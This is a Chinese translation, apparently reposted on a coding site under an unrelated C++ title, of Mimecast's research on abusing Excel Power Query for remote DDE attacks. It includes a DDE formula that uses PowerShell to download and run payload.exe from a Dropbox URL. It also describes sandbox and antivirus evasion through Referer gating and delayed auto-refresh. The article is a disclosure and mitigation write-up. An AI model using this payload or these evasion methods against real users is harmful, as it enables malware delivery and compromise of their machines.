c++ builder 如何获取另一个程序的窗口内容_如何利用Power Query功能实现DDE攻击

本文主要是介绍c++ builder 如何获取另一个程序的窗口内容_如何利用Power Query功能实现DDE攻击,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

译文声明

本文是翻译文章,文章原作者mimecast,文章来源:mimecast.com 原文地址:https://www.mimecast.com/blog/2019/06/exploit-using-microsoft-excel-power-query-for-remote-dde-execution-discovered/

译文仅供参考,具体内容表达以及含义原文为准

56249f6ff6a3f74fbcd4c06ab19c6443.png

0x00 前言

7d732dd6a13e2afdbd62f491d095ce8b.png

Mimecast Threat Center发现并开发了一种攻击技术,可以利用Microsoft Excel中的Power Query功能动态启动针对Excel电子表格的远程DDE(Dynamic Data Exchange)攻击,主动控制利用Power Query的payload。

Power Query是一款强大且可扩展的BI(Business Intelligence,商业智能)工具,可以帮助用户将电子表格与其他数据源(如外部数据库、文本文档、其他电子表格或者web页面等)集成。当链接外部源时,数据可以加载并保存到电子表格中,或者采用动态加载方式(比如当文档打开时再加载)。

Mimecast Threat Center团队发现将Power Query与其他攻击方法结合起来后,可以发起较为复杂的、难以检测的攻击行为。攻击者可以使用Power Query将恶意内容嵌入独立数据源中,然后在电子表格打开时将该内容载入表格中。恶意代码可以用来释放并执行恶意软件,攻陷用户主机。

Excel的这个特性提供了非常丰富的控制功能,可以在投递其他payload之前收集沙箱或者受害者主机的指纹信息。攻击者在攻击和payload投放前可能具备一定的控制能力,可以让沙箱或其他安全解决方案无法检测该文件的情况下,将恶意payload投放到受害者主机中。

Mimecast与微软合作,遵循CVD(Coordinated Vulnerability Disclosure,协调漏洞披露)流程来判断这是Power Query的正常行为还是需要解决的问题。微软目前拒绝发布修复补丁,决定提供一种解决办法来缓解此问题。

在本文中我们将详细分析如何利用Power Query来发起DDE攻击,通过文件共享站点来释放并执行payload。

0x01 利用Power Query的攻击方法

7d732dd6a13e2afdbd62f491d095ce8b.png

由于Power Query是Microsoft Excel中的一款强大工具,因此滥用该功能所能造成的潜在危险也不容忽视。如果成功利用,攻击者可以集合其他潜在的攻击面来发起复杂的攻击,包括本地权限提升、DDE攻击以及远程代码执行等。

Power Query功能可以帮助用户非常方便且动态地嵌入远程内容。这种攻击形式通常难以发现,使攻击者更有机会突破受害者主机。利用Power Query中的潜在脆弱性,攻击者可以嵌入任何恶意payload,并且这些payload不需要保存在文档中,可以在文档打开时从web远程下载。

为了演示如何利用Power Query来启动DDE攻击,我们可以编写一个自定义的简单HTTP服务器,在web页面上托管payload,然后将这个web页面载入电子表格中。HTTP服务器可以在本地80端口上监听,当收到来自电子表格的请求时,返回所需的DDE内容。

=cmd|'/c powershell -command "& { iwr https://www.dropbox.com/s/jo94jn2s3j84mfr/payload.exe?dl=1 -OutFile payload.exe }";cmd /c payload.exe'!A1,

c44956d369c67939340778ea25693f0f.png

Microsoft Excel 2016电子表格使用Power Query来查询我们构造的恶意web页面(http://127.0.0.1:80)。

56efe5aa96a1171f7ce8bd05de72c5b6.png

随后远程内容会被读取并载入电子表格中。

fe6c5b13e317bd366b40c6905f6b3be4.png

我们可以使用Wireshark来捕捉攻击数据流。下图中高亮标记的数据包分别为包含DDE公式的数据包、对dropbox.com的DNS请求(payload.exe托管在Dropbox上)以及用来投放payload的HTTPS会话。

f7487f0fb62b672f5b72b4f178ecb6ab.png

e43c46a29a1a48074aefd03314bad06c.png

0x02 分析文件格式

7d732dd6a13e2afdbd62f491d095ce8b.png

分析文件格式后,我们可以看到table/table1.xml中包含name: “localhost”属性(默认)以及type: “queryTable”属性。

表格以及特定查询表格属性的链接位于.rels流中(_rels/table1.xml.rels),其中包含一个target字段,该字段指向的是../queryTables/queryTable1.xmlquetyTable1.xml会在标签下通过connectionId字段连接到connection.xml(该文件中包含所有文档连接属性)。程序会使用Select *命令通过dbPr对象发起连接。

web查询请求存放在xl\customXL\item1文档中,经过base64编码。

6b46b742e0af4d05457e28beb33f13a5.png

base64解码后,我们打开其中的section1文档,其中就包含查询请求。

56e6d3af40674e9ad816f33287838750.png

为了运行DDE,用户需要双击加载DDE的单元格,然后再次点击释放。这些操作将会触发DDE,启动来自web的payload。

0x03 绕过双击限制实现自动化执行

7d732dd6a13e2afdbd62f491d095ce8b.png

为了绕过“点击运行”限制,我们发现在老版的Microsoft Office对“从Web获取外部数据”的实现与现在版本有所不同。前面提到过,我们使用Microsoft Office 2016时会创建dbPr,用户需要采取某些操作才能激活payload(在沙箱等场景中,这种点击操作会达到沙箱绕过效果)。

当在老版本Office(比如2010)中“从Web获取外部数据”时,在Connections.xml下创建的对象并不是前文提到的dbPr,而是webPr,后者会更加简单。与dbPr不同,webPr并不需要任何用户操作,就可以运行payload。

da2c924622f9d83508d756d6e0b2a7f1.png

0x04 使用Power Query绕过AV及沙箱

7d732dd6a13e2afdbd62f491d095ce8b.png

我们可以在web请求中添加头部字段,使payload能够绕过专门针对这类恶意内容的反病毒软件以及沙箱环境。只有请求中包含特定的HTTP头部字段时,web服务器才会提供恶意内容。反病毒产品会从文件中提取HTTP服务器的URL地址,但并不会去解析头部数据。当AV发送测试请求时,服务器知道该请求来自于AV,而非电子表格。

只有当HTTP头中的Referer字段值设置为www.google.com时,我们才会提供DDE数据。

cd8dcd5639c6fbf3ede21c7b3ee612cb.png

我们可以在Power Query的“高级”模式中设定web请求头。Power Query会使用我们设置的Referer字段来发起web请求。

4d026382359a895ac804e1c4ecd3a388.png

如果另一个程序想尝试部分模拟Power Query的行为,不使用正确的Referer字段请求web页面,就不能得到正确结果。只有使用Microsoft Excel应用来打开原始文档时才能获取payload数据。

dfab9c64d0050f63f6bd94fe6cd4b3b8.png

由于沙箱环境也会在请求中发送自定义头部,因此我们需要一种新的方法来避免被检测。这里我们可以使用Power Query中的“auto refresh”(自动刷新)以及“refresh”(刷新)时间间隔参数。

2b1236d02eca459b1cc7f75a61d456d4.png

为了避免文件中存在恶意内容,使该文件被标记为恶意软件,我们可以强制让文件在打开时刷新数据,然后在保存文件前移除来自外部数据源的数据。这些属性可以确保在文件打开时会更新文件中的payload。我们可以设置文件每分钟刷新一次(这是最短的时间间隔),然后在第10次请求时提供payload数据。这意味着如果沙箱运行该文件的时间少于10分钟,那么就永远拿不到我们的payload。

927a9c34b3449ed4dda8db9bb2793a53.png

对于我们提供的攻击样例,大多数静态分析AV都检测不出该文件(其中并不包含payload数据),而沙箱或其他安全解决方案只会一次或者两次下载web内容,因此也检测不出来。

511955f9aa5e130a99721e7770a27d1e.png

0x05 缓解措施

7d732dd6a13e2afdbd62f491d095ce8b.png

Mimecast Threat Center团队向MRSC(Microsoft Security Response Center)反馈了我们得到的信息以及可用的PoC。MRSC创建了一个case,但决定不修复这种行为,而是采用组策略来组织外部数据连接或者使用Office Trust中心来缓解这个问题。MRSC同意我们根据CVD策略发布此次研究成果。

微软发布了一个安全公告(4053440),提供了为Microsoft Office应用进行安全设置的相关步骤及过程。该公告可以指导用户如何确保应用程序安全处理DDE字段。

攻击者一直都希望能够绕过受害者部署的检测机制。随着时间的推移,由于各种安全专家及信息共享平台都在分享威胁情报数据,因此这类攻击方式可能会被检测出来。Mimecast强烈建议所有Microsoft Excel客户部署微软提供的缓解方案,因为这类攻击方法可以对微软客户造成实际且有破坏性的安全风险。

Mimecast Targeted Threat Protection通过高级深入解析、去混淆处理,对每个文件进行实时代码分析,可以检测并阻止这种攻击技术。

92c1b7f4459248d6acd9f7c555e41821.gif

这篇关于c++ builder 如何获取另一个程序的窗口内容_如何利用Power Query功能实现DDE攻击的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/217227

相关文章

hdu1043(八数码问题,广搜 + hash(实现状态压缩) )

利用康拓展开将一个排列映射成一个自然数,然后就变成了普通的广搜题。 #include<iostream>#include<algorithm>#include<string>#include<stack>#include<queue>#include<map>#include<stdio.h>#include<stdlib.h>#include<ctype.h>#inclu

【C++ Primer Plus习题】13.4

大家好,这里是国中之林! ❥前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站。有兴趣的可以点点进去看看← 问题: 解答: main.cpp #include <iostream>#include "port.h"int main() {Port p1;Port p2("Abc", "Bcc", 30);std::cout <<

C++包装器

包装器 在 C++ 中,“包装器”通常指的是一种设计模式或编程技巧,用于封装其他代码或对象,使其更易于使用、管理或扩展。包装器的概念在编程中非常普遍,可以用于函数、类、库等多个方面。下面是几个常见的 “包装器” 类型: 1. 函数包装器 函数包装器用于封装一个或多个函数,使其接口更统一或更便于调用。例如,std::function 是一个通用的函数包装器,它可以存储任意可调用对象(函数、函数

C++11第三弹:lambda表达式 | 新的类功能 | 模板的可变参数

🌈个人主页: 南桥几晴秋 🌈C++专栏: 南桥谈C++ 🌈C语言专栏: C语言学习系列 🌈Linux学习专栏: 南桥谈Linux 🌈数据结构学习专栏: 数据结构杂谈 🌈数据库学习专栏: 南桥谈MySQL 🌈Qt学习专栏: 南桥谈Qt 🌈菜鸡代码练习: 练习随想记录 🌈git学习: 南桥谈Git 🌈🌈🌈🌈🌈🌈🌈🌈🌈🌈🌈🌈🌈�

JAVA智听未来一站式有声阅读平台听书系统小程序源码

智听未来,一站式有声阅读平台听书系统 🌟&nbsp;开篇:遇见未来,从“智听”开始 在这个快节奏的时代,你是否渴望在忙碌的间隙,找到一片属于自己的宁静角落?是否梦想着能随时随地,沉浸在知识的海洋,或是故事的奇幻世界里?今天,就让我带你一起探索“智听未来”——这一站式有声阅读平台听书系统,它正悄悄改变着我们的阅读方式,让未来触手可及! 📚&nbsp;第一站:海量资源,应有尽有 走进“智听

【C++】_list常用方法解析及模拟实现

相信自己的力量,只要对自己始终保持信心,尽自己最大努力去完成任何事,就算事情最终结果是失败了,努力了也不留遗憾。💓💓💓 目录   ✨说在前面 🍋知识点一:什么是list? •🌰1.list的定义 •🌰2.list的基本特性 •🌰3.常用接口介绍 🍋知识点二:list常用接口 •🌰1.默认成员函数 🔥构造函数(⭐) 🔥析构函数 •🌰2.list对象

【Prometheus】PromQL向量匹配实现不同标签的向量数据进行运算

✨✨ 欢迎大家来到景天科技苑✨✨ 🎈🎈 养成好习惯,先赞后看哦~🎈🎈 🏆 作者简介:景天科技苑 🏆《头衔》:大厂架构师,华为云开发者社区专家博主,阿里云开发者社区专家博主,CSDN全栈领域优质创作者,掘金优秀博主,51CTO博客专家等。 🏆《博客》:Python全栈,前后端开发,小程序开发,人工智能,js逆向,App逆向,网络系统安全,数据分析,Django,fastapi

让树莓派智能语音助手实现定时提醒功能

最初的时候是想直接在rasa 的chatbot上实现,因为rasa本身是带有remindschedule模块的。不过经过一番折腾后,忽然发现,chatbot上实现的定时,语音助手不一定会有响应。因为,我目前语音助手的代码设置了长时间无应答会结束对话,这样一来,chatbot定时提醒的触发就不会被语音助手获悉。那怎么让语音助手也具有定时提醒功能呢? 我最后选择的方法是用threading.Time

Android实现任意版本设置默认的锁屏壁纸和桌面壁纸(两张壁纸可不一致)

客户有些需求需要设置默认壁纸和锁屏壁纸  在默认情况下 这两个壁纸是相同的  如果需要默认的锁屏壁纸和桌面壁纸不一样 需要额外修改 Android13实现 替换默认桌面壁纸: 将图片文件替换frameworks/base/core/res/res/drawable-nodpi/default_wallpaper.*  (注意不能是bmp格式) 替换默认锁屏壁纸: 将图片资源放入vendo

06 C++Lambda表达式

lambda表达式的定义 没有显式模版形参的lambda表达式 [捕获] 前属性 (形参列表) 说明符 异常 后属性 尾随类型 约束 {函数体} 有显式模版形参的lambda表达式 [捕获] <模版形参> 模版约束 前属性 (形参列表) 说明符 异常 后属性 尾随类型 约束 {函数体} 含义 捕获:包含零个或者多个捕获符的逗号分隔列表 模板形参:用于泛型lambda提供个模板形参的名